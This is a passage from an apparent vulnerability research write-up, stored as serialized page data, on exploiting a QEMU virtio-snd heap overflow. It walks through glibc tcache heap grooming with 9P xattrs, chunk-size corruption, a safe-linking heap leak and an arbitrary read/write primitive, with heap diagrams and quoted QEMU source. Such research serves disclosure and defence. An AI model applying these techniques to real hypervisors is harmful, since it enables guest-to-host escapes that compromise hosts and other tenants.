|\n+----------+----------+----------+----------+----------+\n",[127904],{"type":23,"tag":94,"props":127905,"children":127906},{"__ignoreMap":7},[127907],{"type":28,"value":127902},{"type":23,"tag":24,"props":127909,"children":127910},{},[127911,127913,127918,127920,127925,127927,127932],{"type":28,"value":127912},"This lets us later create holes by freeing every other ",{"type":23,"tag":94,"props":127914,"children":127916},{"className":127915},[],[127917],{"type":28,"value":127163},{"type":28,"value":127919}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":94,"props":127921,"children":127923},{"className":127922},[],[127924],{"type":28,"value":123512},{"type":28,"value":127926}," field of the next live ",{"type":23,"tag":94,"props":127928,"children":127930},{"className":127929},[],[127931],{"type":28,"value":127163},{"type":28,"value":127933}," chunk.",{"type":23,"tag":24,"props":127935,"children":127936},{},[127937],{"type":28,"value":127938},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":127940,"children":127941},{},[127942,127944,127949,127951,127956,127958,127963,127965,127970],{"type":28,"value":127943},"As mentioned earlier, ",{"type":23,"tag":94,"props":127945,"children":127947},{"className":127946},[],[127948],{"type":28,"value":127200},{"type":28,"value":127950}," always allocates two chunks: one for ",{"type":23,"tag":94,"props":127952,"children":127954},{"className":127953},[],[127955],{"type":28,"value":127156},{"type":28,"value":127957}," and one for ",{"type":23,"tag":94,"props":127959,"children":127961},{"className":127960},[],[127962],{"type":28,"value":127163},{"type":28,"value":127964},". We want to avoid having ",{"type":23,"tag":94,"props":127966,"children":127968},{"className":127967},[],[127969],{"type":28,"value":127156},{"type":28,"value":127971}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":84,"props":127973,"children":127974},{},[127975,127987],{"type":23,"tag":88,"props":127976,"children":127977},{},[127978,127980,127985],{"type":28,"value":127979},"Make ",{"type":23,"tag":94,"props":127981,"children":127983},{"className":127982},[],[127984],{"type":28,"value":127156},{"type":28,"value":127986}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":88,"props":127988,"children":127989},{},[127990,127992,127997,127999,128004,128006,128011],{"type":28,"value":127991},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":94,"props":127993,"children":127995},{"className":127994},[],[127996],{"type":28,"value":127156},{"type":28,"value":127998},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":94,"props":128000,"children":128002},{"className":128001},[],[128003],{"type":28,"value":127156},{"type":28,"value":128005}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":94,"props":128007,"children":128009},{"className":128008},[],[128010],{"type":28,"value":127163},{"type":28,"value":128012}," chunks.",{"type":23,"tag":18130,"props":128014,"children":128016},{"id":128015},"separating-name-allocations",[128017],{"type":28,"value":128018},"Separating .name allocations",{"type":23,"tag":24,"props":128020,"children":128021},{},[128022,128024,128029,128031,128036],{"type":28,"value":128023},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":94,"props":128025,"children":128027},{"className":128026},[],[128028],{"type":28,"value":127200},{"type":28,"value":128030}," for N ",{"type":23,"tag":94,"props":128032,"children":128034},{"className":128033},[],[128035],{"type":28,"value":127156},{"type":28,"value":128037},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":128039,"children":128040},{},[128041,128043,128048,128049,128054,128055,128060,128062,128067,128069,128074],{"type":28,"value":128042},"At this point, we already know that ",{"type":23,"tag":94,"props":128044,"children":128046},{"className":128045},[],[128047],{"type":28,"value":127200},{"type":28,"value":127950},{"type":23,"tag":94,"props":128050,"children":128052},{"className":128051},[],[128053],{"type":28,"value":127156},{"type":28,"value":127957},{"type":23,"tag":94,"props":128056,"children":128058},{"className":128057},[],[128059],{"type":28,"value":127163},{"type":28,"value":128061},". If we simply call it with ",{"type":23,"tag":94,"props":128063,"children":128065},{"className":128064},[],[128066],{"type":28,"value":127163},{"type":28,"value":128068}," sized the same as ",{"type":23,"tag":94,"props":128070,"children":128072},{"className":128071},[],[128073],{"type":28,"value":127156},{"type":28,"value":128075},", we get a layout like this:",{"type":23,"tag":304,"props":128077,"children":128079},{"code":128078}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128080],{"type":23,"tag":94,"props":128081,"children":128082},{"__ignoreMap":7},[128083],{"type":28,"value":128078},{"type":23,"tag":24,"props":128085,"children":128086},{},[128087,128089,128094,128096,128102,128104,128110,128112,128117,128119,128124,128126,128131],{"type":28,"value":128088},"With that heap state, issuing a ",{"type":23,"tag":94,"props":128090,"children":128092},{"className":128091},[],[128093],{"type":28,"value":127866},{"type":28,"value":128095}," request would first free ",{"type":23,"tag":94,"props":128097,"children":128099},{"className":128098},[],[128100],{"type":28,"value":128101},".name A",{"type":28,"value":128103}," and then ",{"type":23,"tag":94,"props":128105,"children":128107},{"className":128106},[],[128108],{"type":28,"value":128109},".value A",{"type":28,"value":128111},". When ",{"type":23,"tag":94,"props":128113,"children":128115},{"className":128114},[],[128116],{"type":28,"value":128109},{"type":28,"value":128118}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":94,"props":128120,"children":128122},{"className":128121},[],[128123],{"type":28,"value":128101},{"type":28,"value":128125}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":94,"props":128127,"children":128129},{"className":128128},[],[128130],{"type":28,"value":127156},{"type":28,"value":128132},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":24,"props":128134,"children":128135},{},[128136],{"type":28,"value":128137},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":24,"props":128139,"children":128140},{},[128141,128143,128148,128150,128155,128157,128162,128164,128170,128172,128177,128179,128185],{"type":28,"value":128142},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":94,"props":128144,"children":128146},{"className":128145},[],[128147],{"type":28,"value":127156},{"type":28,"value":128149}," allocation remains fixed at size ",{"type":23,"tag":94,"props":128151,"children":128153},{"className":128152},[],[128154],{"type":28,"value":104319},{"type":28,"value":128156},". We first allocate 16 xattrs whose ",{"type":23,"tag":94,"props":128158,"children":128160},{"className":128159},[],[128161],{"type":28,"value":127163},{"type":28,"value":128163}," size is ",{"type":23,"tag":94,"props":128165,"children":128167},{"className":128166},[],[128168],{"type":28,"value":128169},"0x30",{"type":28,"value":128171},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":94,"props":128173,"children":128175},{"className":128174},[],[128176],{"type":28,"value":127163},{"type":28,"value":128178}," size ",{"type":23,"tag":94,"props":128180,"children":128182},{"className":128181},[],[128183],{"type":28,"value":128184},"0x40",{"type":28,"value":128186},", and continue in the same way for each tcache size class.",{"type":23,"tag":24,"props":128188,"children":128189},{},[128190],{"type":28,"value":128191},"This yields the following layout:",{"type":23,"tag":304,"props":128193,"children":128195},{"code":128194}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[128196],{"type":23,"tag":94,"props":128197,"children":128198},{"__ignoreMap":7},[128199],{"type":28,"value":128194},{"type":23,"tag":24,"props":128201,"children":128202},{},[128203,128205,128210,128212,128217,128219,128224,128226,128231,128233,128238,128240,128245,128246,128251,128253,128258,128260,128265,128267,128272,128274,128279,128281,128286],{"type":28,"value":128204},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":94,"props":128206,"children":128208},{"className":128207},[],[128209],{"type":28,"value":127156},{"type":28,"value":128211}," chunks end up in the ",{"type":23,"tag":94,"props":128213,"children":128215},{"className":128214},[],[128216],{"type":28,"value":104319},{"type":28,"value":128218}," tcache bin, along with the interleaved ",{"type":23,"tag":94,"props":128220,"children":128222},{"className":128221},[],[128223],{"type":28,"value":127163},{"type":28,"value":128225}," chunks of size ",{"type":23,"tag":94,"props":128227,"children":128229},{"className":128228},[],[128230],{"type":28,"value":128169},{"type":28,"value":128232},". The next 16 ",{"type":23,"tag":94,"props":128234,"children":128236},{"className":128235},[],[128237],{"type":28,"value":127156},{"type":28,"value":128239}," chunks are interleaved with ",{"type":23,"tag":94,"props":128241,"children":128243},{"className":128242},[],[128244],{"type":28,"value":127163},{"type":28,"value":128225},{"type":23,"tag":94,"props":128247,"children":128249},{"className":128248},[],[128250],{"type":28,"value":128184},{"type":28,"value":128252},"; when freed, those ",{"type":23,"tag":94,"props":128254,"children":128256},{"className":128255},[],[128257],{"type":28,"value":127163},{"type":28,"value":128259}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":94,"props":128261,"children":128263},{"className":128262},[],[128264],{"type":28,"value":127156},{"type":28,"value":128266}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":94,"props":128268,"children":128270},{"className":128269},[],[128271],{"type":28,"value":127156},{"type":28,"value":128273},"-sized chunks that will later be served to the ",{"type":23,"tag":94,"props":128275,"children":128277},{"className":128276},[],[128278],{"type":28,"value":127156},{"type":28,"value":128280}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":94,"props":128282,"children":128284},{"className":128283},[],[128285],{"type":28,"value":127163},{"type":28,"value":128012},{"type":23,"tag":837,"props":128288,"children":128290},{"id":128289},"corrupting-the-size",[128291],{"type":28,"value":128292},"Corrupting the Size",{"type":23,"tag":24,"props":128294,"children":128295},{},[128296,128298,128303,128305,128310,128312,128317,128319,128324,128325,128330],{"type":28,"value":128297},"The input format is guest-controlled, and we choose ",{"type":23,"tag":94,"props":128299,"children":128301},{"className":128300},[],[128302],{"type":28,"value":2677},{"type":28,"value":128304}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":94,"props":128306,"children":128308},{"className":128307},[],[128309],{"type":28,"value":2677},{"type":28,"value":128311}," is centered at ",{"type":23,"tag":94,"props":128313,"children":128315},{"className":128314},[],[128316],{"type":28,"value":28688},{"type":28,"value":128318}," (rather than ",{"type":23,"tag":94,"props":128320,"children":128322},{"className":128321},[],[128323],{"type":28,"value":125418},{"type":28,"value":125405},{"type":23,"tag":94,"props":128326,"children":128328},{"className":128327},[],[128329],{"type":28,"value":125396},{"type":28,"value":128331},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":24,"props":128333,"children":128334},{},[128335,128337,128342],{"type":28,"value":128336},"As we already concluded, ",{"type":23,"tag":94,"props":128338,"children":128340},{"className":128339},[],[128341],{"type":28,"value":124861},{"type":28,"value":128343}," is called with the amount:",{"type":23,"tag":304,"props":128345,"children":128347},{"code":128346},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[128348],{"type":23,"tag":94,"props":128349,"children":128350},{"__ignoreMap":7},[128351],{"type":28,"value":128346},{"type":23,"tag":24,"props":128353,"children":128354},{},[128355,128357,128362,128364,128369],{"type":28,"value":128356},"And as mentioned earlier, ",{"type":23,"tag":94,"props":128358,"children":128360},{"className":128359},[],[128361],{"type":28,"value":124892},{"type":28,"value":128363}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":94,"props":128365,"children":128367},{"className":128366},[],[128368],{"type":28,"value":123512},{"type":28,"value":57577},{"type":23,"tag":24,"props":128371,"children":128372},{},[128373,128375,128380,128382,128387],{"type":28,"value":128374},"With the desired heap layout of repeated ",{"type":23,"tag":94,"props":128376,"children":128378},{"className":128377},[],[128379],{"type":28,"value":127065},{"type":28,"value":128381},"-sized ",{"type":23,"tag":94,"props":128383,"children":128385},{"className":128384},[],[128386],{"type":28,"value":127163},{"type":28,"value":128388}," chunks in place, we can then free every other one:",{"type":23,"tag":304,"props":128390,"children":128392},{"code":128391}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[128393],{"type":23,"tag":94,"props":128394,"children":128395},{"__ignoreMap":7},[128396],{"type":28,"value":128391},{"type":23,"tag":24,"props":128398,"children":128399},{},[128400,128402,128407],{"type":28,"value":128401},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":94,"props":128403,"children":128405},{"className":128404},[],[128406],{"type":28,"value":127163},{"type":28,"value":128408}," chunk directly next to it:",{"type":23,"tag":304,"props":128410,"children":128412},{"code":128411}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[128413],{"type":23,"tag":94,"props":128414,"children":128415},{"__ignoreMap":7},[128416],{"type":28,"value":128411},{"type":23,"tag":24,"props":128418,"children":128419},{},[128420,128422,128427,128429,128434],{"type":28,"value":128421},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":94,"props":128423,"children":128425},{"className":128424},[],[128426],{"type":28,"value":127065},{"type":28,"value":128428},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":94,"props":128430,"children":128432},{"className":128431},[],[128433],{"type":28,"value":127163},{"type":28,"value":128435}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":304,"props":128437,"children":128439},{"code":128438}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128440],{"type":23,"tag":94,"props":128441,"children":128442},{"__ignoreMap":7},[128443],{"type":28,"value":128438},{"type":23,"tag":24,"props":128445,"children":128446},{},[128447,128449,128454],{"type":28,"value":128448},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":94,"props":128450,"children":128452},{"className":128451},[],[128453],{"type":28,"value":127080},{"type":28,"value":3746},{"type":23,"tag":304,"props":128456,"children":128458},{"code":128457}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[128459],{"type":23,"tag":94,"props":128460,"children":128461},{"__ignoreMap":7},[128462],{"type":28,"value":128457},{"type":23,"tag":24,"props":128464,"children":128465},{},[128466,128468,128473],{"type":28,"value":128467},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":94,"props":128469,"children":128471},{"className":128470},[],[128472],{"type":28,"value":127080},{"type":28,"value":419},{"type":23,"tag":304,"props":128475,"children":128477},{"code":128476}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[128478],{"type":23,"tag":94,"props":128479,"children":128480},{"__ignoreMap":7},[128481],{"type":28,"value":128476},{"type":23,"tag":24,"props":128483,"children":128484},{},[128485,128487,128493],{"type":28,"value":128486},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":94,"props":128488,"children":128490},{"className":128489},[],[128491],{"type":28,"value":128492},"0x400",{"type":28,"value":128494}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":304,"props":128496,"children":128498},{"code":128497}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128499],{"type":23,"tag":94,"props":128500,"children":128501},{"__ignoreMap":7},[128502],{"type":28,"value":128497},{"type":23,"tag":837,"props":128504,"children":128506},{"id":128505},"leaking-a-heap-address",[128507],{"type":28,"value":128508},"Leaking a Heap Address",{"type":23,"tag":24,"props":128510,"children":128511},{},[128512],{"type":28,"value":128513},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":128515,"children":128516},{},[128517,128519,128525],{"type":28,"value":128518},"To do this, we abuse the forward (",{"type":23,"tag":94,"props":128520,"children":128522},{"className":128521},[],[128523],{"type":28,"value":128524},"fd",{"type":28,"value":128526},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":304,"props":128528,"children":128530},{"code":128529},"fd = next ^ (curr >> 12)\n",[128531],{"type":23,"tag":94,"props":128532,"children":128533},{"__ignoreMap":7},[128534],{"type":28,"value":128529},{"type":23,"tag":24,"props":128536,"children":128537},{},[128538,128540,128545,128546,128551],{"type":28,"value":128539},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":94,"props":128541,"children":128543},{"className":128542},[],[128544],{"type":28,"value":56816},{"type":28,"value":4756},{"type":23,"tag":94,"props":128547,"children":128549},{"className":128548},[],[128550],{"type":28,"value":53747},{"type":28,"value":128552}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":304,"props":128554,"children":128556},{"code":128555},"fd = 0 ^ (curr >> 12)\n",[128557],{"type":23,"tag":94,"props":128558,"children":128559},{"__ignoreMap":7},[128560],{"type":28,"value":128555},{"type":23,"tag":24,"props":128562,"children":128563},{},[128564,128566,128571],{"type":28,"value":128565},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":94,"props":128567,"children":128569},{"className":128568},[],[128570],{"type":28,"value":128524},{"type":28,"value":128572}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":128574,"children":128575},{},[128576],{"type":28,"value":128577},"In the overlap we achieved earlier:",{"type":23,"tag":304,"props":128579,"children":128581},{"code":128580}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[128582],{"type":23,"tag":94,"props":128583,"children":128584},{"__ignoreMap":7},[128585],{"type":28,"value":128580},{"type":23,"tag":24,"props":128587,"children":128588},{},[128589,128591,128597,128599,128605,128607,128613,128615,128620],{"type":28,"value":128590},"We first free ",{"type":23,"tag":94,"props":128592,"children":128594},{"className":128593},[],[128595],{"type":28,"value":128596},".value C",{"type":28,"value":128598}," into tcache and read its contents through the oversized ",{"type":23,"tag":94,"props":128600,"children":128602},{"className":128601},[],[128603],{"type":28,"value":128604},".value Y",{"type":28,"value":128606},". This gives us ",{"type":23,"tag":94,"props":128608,"children":128610},{"className":128609},[],[128611],{"type":28,"value":128612},".value C >> 12",{"type":28,"value":128614},". That is not yet the exact address of ",{"type":23,"tag":94,"props":128616,"children":128618},{"className":128617},[],[128619],{"type":28,"value":128596},{"type":28,"value":128621},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":128623,"children":128624},{},[128625,128627,128632,128634,128639,128641,128646,128648,128653],{"type":28,"value":128626},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":94,"props":128628,"children":128630},{"className":128629},[],[128631],{"type":28,"value":128596},{"type":28,"value":128633},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":94,"props":128635,"children":128637},{"className":128636},[],[128638],{"type":28,"value":128596},{"type":28,"value":128640}," again. This time, ",{"type":23,"tag":94,"props":128642,"children":128644},{"className":128643},[],[128645],{"type":28,"value":56816},{"type":28,"value":128647}," is no longer ",{"type":23,"tag":94,"props":128649,"children":128651},{"className":128650},[],[128652],{"type":28,"value":53747},{"type":28,"value":128654},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":304,"props":128656,"children":128657},{"code":128529},[128658],{"type":23,"tag":94,"props":128659,"children":128660},{"__ignoreMap":7},[128661],{"type":28,"value":128529},{"type":23,"tag":24,"props":128663,"children":128664},{},[128665,128667,128673,128675,128680,128682,128687,128689,128694],{"type":28,"value":128666},"Since we already know ",{"type":23,"tag":94,"props":128668,"children":128670},{"className":128669},[],[128671],{"type":28,"value":128672},"curr >> 12",{"type":28,"value":128674}," from the first leak, we can read the new ",{"type":23,"tag":94,"props":128676,"children":128678},{"className":128677},[],[128679],{"type":28,"value":128524},{"type":28,"value":128681}," value from ",{"type":23,"tag":94,"props":128683,"children":128685},{"className":128684},[],[128686],{"type":28,"value":128596},{"type":28,"value":128688}," and recover the exact address of ",{"type":23,"tag":94,"props":128690,"children":128692},{"className":128691},[],[128693],{"type":28,"value":56816},{"type":28,"value":128695}," by reversing the XOR:",{"type":23,"tag":304,"props":128697,"children":128699},{"code":128698},"next = fd ^ (curr >> 12)\n",[128700],{"type":23,"tag":94,"props":128701,"children":128702},{"__ignoreMap":7},[128703],{"type":28,"value":128698},{"type":23,"tag":24,"props":128705,"children":128706},{},[128707],{"type":28,"value":128708},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":837,"props":128710,"children":128712},{"id":128711},"arbitrary-read-and-write",[128713],{"type":28,"value":128714},"Arbitrary Read and Write",{"type":23,"tag":24,"props":128716,"children":128717},{},[128718,128720,128725],{"type":28,"value":128719},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":94,"props":128721,"children":128723},{"className":128722},[],[128724],{"type":28,"value":128596},{"type":28,"value":128726}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":128728,"children":128729},{},[128730,128732,128737],{"type":28,"value":128731},"Recall ",{"type":23,"tag":94,"props":128733,"children":128735},{"className":128734},[],[128736],{"type":28,"value":127200},{"type":28,"value":3746},{"type":23,"tag":304,"props":128739,"children":128741},{"code":128740,"language":308,"meta":7,"className":306,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[128742],{"type":23,"tag":94,"props":128743,"children":128744},{"__ignoreMap":7},[128745,128784,128791,128802,128817,128832,128839,128846,128853,128875,128882,128889,128896,128904,128921,128960,129003,129010],{"type":23,"tag":314,"props":128746,"children":128747},{"class":316,"line":317},[128748,128752,128756,128760,128764,128768,128772,128776,128780],{"type":23,"tag":314,"props":128749,"children":128750},{"style":321},[128751],{"type":28,"value":50295},{"type":23,"tag":314,"props":128753,"children":128754},{"style":321},[128755],{"type":28,"value":50300},{"type":23,"tag":314,"props":128757,"children":128758},{"style":338},[128759],{"type":28,"value":127195},{"type":23,"tag":314,"props":128761,"children":128762},{"style":332},[128763],{"type":28,"value":127200},{"type":23,"tag":314,"props":128765,"children":128766},{"style":338},[128767],{"type":28,"value":341},{"type":23,"tag":314,"props":128769,"children":128770},{"style":321},[128771],{"type":28,"value":50878},{"type":23,"tag":314,"props":128773,"children":128774},{"style":354},[128775],{"type":28,"value":357},{"type":23,"tag":314,"props":128777,"children":128778},{"style":360},[128779],{"type":28,"value":127217},{"type":23,"tag":314,"props":128781,"children":128782},{"style":338},[128783],{"type":28,"value":2414},{"type":23,"tag":314,"props":128785,"children":128786},{"class":316,"line":370},[128787],{"type":23,"tag":314,"props":128788,"children":128789},{"style":338},[128790],{"type":28,"value":10129},{"type":23,"tag":314,"props":128792,"children":128793},{"class":316,"line":380},[128794,128798],{"type":23,"tag":314,"props":128795,"children":128796},{"style":321},[128797],{"type":28,"value":54863},{"type":23,"tag":314,"props":128799,"children":128800},{"style":338},[128801],{"type":28,"value":123854},{"type":23,"tag":314,"props":128803,"children":128804},{"class":316,"line":1091},[128805,128809,128813],{"type":23,"tag":314,"props":128806,"children":128807},{"style":338},[128808],{"type":28,"value":127342},{"type":23,"tag":314,"props":128810,"children":128811},{"style":354},[128812],{"type":28,"value":256},{"type":23,"tag":314,"props":128814,"children":128815},{"style":338},[128816],{"type":28,"value":127351},{"type":23,"tag":314,"props":128818,"children":128819},{"class":316,"line":1141},[128820,128824,128828],{"type":23,"tag":314,"props":128821,"children":128822},{"style":338},[128823],{"type":28,"value":127342},{"type":23,"tag":314,"props":128825,"children":128826},{"style":354},[128827],{"type":28,"value":256},{"type":23,"tag":314,"props":128829,"children":128830},{"style":338},[128831],{"type":28,"value":127367},{"type":23,"tag":314,"props":128833,"children":128834},{"class":316,"line":1173},[128835],{"type":23,"tag":314,"props":128836,"children":128837},{"emptyLinePlaceholder":18},[128838],{"type":28,"value":1088},{"type":23,"tag":314,"props":128840,"children":128841},{"class":316,"line":1208},[128842],{"type":23,"tag":314,"props":128843,"children":128844},{"style":338},[128845],{"type":28,"value":104053},{"type":23,"tag":314,"props":128847,"children":128848},{"class":316,"line":1216},[128849],{"type":23,"tag":314,"props":128850,"children":128851},{"emptyLinePlaceholder":18},[128852],{"type":28,"value":1088},{"type":23,"tag":314,"props":128854,"children":128855},{"class":316,"line":1301},[128856,128861,128865,128870],{"type":23,"tag":314,"props":128857,"children":128858},{"style":338},[128859],{"type":28,"value":128860}," file_fidp ",{"type":23,"tag":314,"props":128862,"children":128863},{"style":354},[128864],{"type":28,"value":1102},{"type":23,"tag":314,"props":128866,"children":128867},{"style":332},[128868],{"type":28,"value":128869}," get_fid",{"type":23,"tag":314,"props":128871,"children":128872},{"style":338},[128873],{"type":28,"value":128874},"(pdu, fid);\n",{"type":23,"tag":314,"props":128876,"children":128877},{"class":316,"line":1343},[128878],{"type":23,"tag":314,"props":128879,"children":128880},{"emptyLinePlaceholder":18},[128881],{"type":28,"value":1088},{"type":23,"tag":314,"props":128883,"children":128884},{"class":316,"line":1351},[128885],{"type":23,"tag":314,"props":128886,"children":128887},{"style":338},[128888],{"type":28,"value":104053},{"type":23,"tag":314,"props":128890,"children":128891},{"class":316,"line":1387},[128892],{"type":23,"tag":314,"props":128893,"children":128894},{"emptyLinePlaceholder":18},[128895],{"type":28,"value":1088},{"type":23,"tag":314,"props":128897,"children":128898},{"class":316,"line":1422},[128899],{"type":23,"tag":314,"props":128900,"children":128901},{"style":374},[128902],{"type":28,"value":128903}," /* Make the file fid point to xattr */\n",{"type":23,"tag":314,"props":128905,"children":128906},{"class":316,"line":1430},[128907,128912,128916],{"type":23,"tag":314,"props":128908,"children":128909},{"style":338},[128910],{"type":28,"value":128911}," xattr_fidp ",{"type":23,"tag":314,"props":128913,"children":128914},{"style":354},[128915],{"type":28,"value":1102},{"type":23,"tag":314,"props":128917,"children":128918},{"style":338},[128919],{"type":28,"value":128920}," file_fidp;\n",{"type":23,"tag":314,"props":128922,"children":128923},{"class":316,"line":1452},[128924,128928,128932,128936,128940,128944,128948,128952,128956],{"type":23,"tag":314,"props":128925,"children":128926},{"style":360},[128927],{"type":28,"value":127745},{"type":23,"tag":314,"props":128929,"children":128930},{"style":338},[128931],{"type":28,"value":1015},{"type":23,"tag":314,"props":128933,"children":128934},{"style":360},[128935],{"type":28,"value":36231},{"type":23,"tag":314,"props":128937,"children":128938},{"style":338},[128939],{"type":28,"value":282},{"type":23,"tag":314,"props":128941,"children":128942},{"style":360},[128943],{"type":28,"value":127669},{"type":23,"tag":314,"props":128945,"children":128946},{"style":338},[128947],{"type":28,"value":282},{"type":23,"tag":314,"props":128949,"children":128950},{"style":360},[128951],{"type":28,"value":8389},{"type":23,"tag":314,"props":128953,"children":128954},{"style":354},[128955],{"type":28,"value":1237},{"type":23,"tag":314,"props":128957,"children":128958},{"style":338},[128959],{"type":28,"value":123854},{"type":23,"tag":314,"props":128961,"children":128962},{"class":316,"line":1497},[128963,128967,128971,128975,128979,128983,128987,128991,128995,128999],{"type":23,"tag":314,"props":128964,"children":128965},{"style":360},[128966],{"type":28,"value":127745},{"type":23,"tag":314,"props":128968,"children":128969},{"style":338},[128970],{"type":28,"value":1015},{"type":23,"tag":314,"props":128972,"children":128973},{"style":360},[128974],{"type":28,"value":36231},{"type":23,"tag":314,"props":128976,"children":128977},{"style":338},[128978],{"type":28,"value":282},{"type":23,"tag":314,"props":128980,"children":128981},{"style":360},[128982],{"type":28,"value":127669},{"type":23,"tag":314,"props":128984,"children":128985},{"style":338},[128986],{"type":28,"value":282},{"type":23,"tag":314,"props":128988,"children":128989},{"style":360},[128990],{"type":28,"value":38399},{"type":23,"tag":314,"props":128992,"children":128993},{"style":354},[128994],{"type":28,"value":1237},{"type":23,"tag":314,"props":128996,"children":128997},{"style":332},[128998],{"type":28,"value":123425},{"type":23,"tag":314,"props